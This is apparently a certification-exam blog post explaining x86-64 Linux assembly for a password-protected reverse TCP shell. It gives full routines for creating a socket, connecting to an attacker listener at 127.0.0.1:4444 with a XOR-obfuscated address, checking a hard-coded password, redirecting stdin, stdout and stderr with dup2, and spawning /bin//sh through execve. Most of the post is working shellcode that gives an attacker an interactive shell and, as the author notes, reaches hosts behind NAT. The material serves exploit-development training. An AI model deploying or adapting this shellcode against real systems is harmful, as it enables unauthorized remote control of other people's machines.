This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
https://www.pentesteracademy.com/course?id=7
Student ID: PA-30398
The source code for this assignment is stored inside the directory: rbctee/SlaeExam.
Once a TCP socket is created, the shellcode connects to a specific TCP listener identified by an IP:PORT
pair. Next, the shellcode reads the password from the client and checks whether it is correct. After that, the program redirects input, output, and error to the newly created socket.
Finally, a shell is spawned, providing an interactive session to the attacker.
As mentioned during the first assignment, creating a socket is pretty straight-forward on x86-64
Linux systems since there's a specific syscall named socket
, which accepts three arguments:
family
is a integer specifying the family of the socket; in my case, I'll be using AF_INET
, i.e. the IPv4 protocoltype
indicates the type of socket, for example TCP or UDPprotocol
refers to the protocol used for the specific type of socket; in this case there's only the TCP protocolPutting this knowledge into practice, I managed to write the following assembly code:
global _start
section .text
_start:
CreateSocket:
; clear registers for later usage
xor esi, esi
mul rsi
; 1st argument of socket(): communication domain
; in this case AF_INET, so it's based upon the IPv4 protocol
push rdx
pop rdi
add rdi, 2
; 2nd argument of socket(): type of socket
; in this case: SOCK_STREAM, which means it uses the TCP protocol
inc rsi
; 3rd argument: https://stackoverflow.com/questions/3735773/what-does-0-indicate-in-socket-system-call
; Syscall socket()
add eax, 41
; create socket and save the resulting file descriptor inside RAX
syscall
In the snippet above I defined a new routine named CreateSocket
which is responsible for creating a new TCP socket.
Unlike a bind shell, password-protected or not, this shellcode doesn't need to call syscalls such as listen
or accept
, since the attacker is not going to connect to this socket.
The opposite is true: the socket is going to connect to the TCP listener set up by the attacker.
This is what allows attackers to get a shell on servers and workstations hidden by NAT
.
To perform this operation, there's a convenient syscall named connect
we can use. It accepts three arguments:
sockfd
is the file descriptor returned by the socket
syscalladdr
is a pointer to a sockaddr structure containing the remote address and TCP port of the attacker listeneraddrlen
is a integer that specifies the length of the previous sockaddr structure, usually 16-bytes longPutting this pieces of information together, I came up with the following routine:
Connect:
; 1st argument of connect(): file descriptor of the socket to connect
mov rdi, rax
xor esi, esi
mul rsi
; padding for the sockaddr struct
push rax
; address 127.0.0.1:4444
mov rbx, 0xfeffff80a3eefffd
mov rcx, 0xffffffffffffffff
xor rbx, rcx
; push the pointer to the remote address on the stack
push rbx
mov rsi, rsp
; 3rd argument of connect(): size of the sockaddr struct
add edx, 16
; syscall connect()
add eax, 42
; invoke connect()
syscall
The peculiarity about the sockaddr
structure is that it needs some padding bytes at the end, which are going to be NULL
bytes.
For this reason, I decided to use the XOR operation in order to remove eventual NULL
bytes from the shellcode, while still being able to add the required padding.
I've already mentioned in the previous assignment that we can add password-protection by means of the syscall read
, reading some bytes from the client and comparing them to a hard-coded password.
This means that after the attacker receives a callback on the TCP listener, they'll need to send the password before being able to execute commands on the remote system.
The following routines (CheckPassword
and ExitWrongPassword
) are copied from the previous assignment, so take a look at it for more information.
CheckPassword:
; 3rd argument of read(): number of bytes to read
add rdx, 8
; allocate 8 bytes on the stack for storing the password
sub rsp, rdx
; 2nd argument of read(): pointer to buffer which will store the
; bytes received from the client
mov rsi, rsp
; 1st argument of read() (client socket) shoud be unchanged (RDI)
; syscall read()
xor eax, eax
; call read()
syscall
pop rbx
mov rax, 0x0a32322174636272
xor rax, rbx
jz IO_Redirection
ExitWrongPassword:
xor eax, eax
add eax, 60
syscall
Before effectively spawning a shell, you need to redirect input, output, and errors too.
This way, when the attacker send some input to the TCP listener, data will be treated as input for the spawned shell. Same thing goes for output and errors.
You can achieve this type of redirection through the syscall dup2. Follows the assembly code for this function:
IO_Redirection:
xor ecx, ecx
mul rcx
add ecx, 2
DuplicateFileDescriptor:
; 1st argument of dup2(), file descriptor of the client socket, should be unchanged (RDI)
; 2nd argument of dup2(): file descriptor to redirect: stdin/stdout/stderr
; in this case the value is stored inside RCX
; - 2 (sterr)
; - 1 (stdout)
; - 0 (stdin)
push rcx
; syscall: dup2()
push rdx
pop rax
add eax, 33
; 2nd argument of dup2(): file descriptor to redirect
mov rsi, rcx
; call dup2()
syscall
pop rcx
dec rcx
jns DuplicateFileDescriptor
Overall, these routines can be converted to the C code listed below:
void main(int argc, char* argv[])
{
// ...
dup2(create_socket_fd, 2);
dup2(create_socket_fd, 1);
dup2(create_socket_fd, 0);
// ...
}
The final step is to spawn a shell e.g., /bin/sh
or /bin/bash
. You can do so by using the syscall execve
.
The snippet of code below is an assembly routine which does exactly this, however it uses the path /bin//sh
, in order to avoid using NULL
bytes in the path passed to execve
.
SpawnSystemShell:
; clear RAX register (zero-sign extended)
xor eax, eax
; NULL terminator for the string below
push rax
; 3rd argument of execve: envp (in this case a pointer to NULL)
mov rdx, rsp
; string "/bin//sh"
mov rbx, 0x68732f2f6e69622f
push rbx
; 1st argument of execve: executable to run
mov rdi, rsp
; 2nd argument of execve: array of arguments passed to the executable
push rax
push rdi
mov rsi, rsp
; syscall execve
add eax, 0x3b
; invoke execve
syscall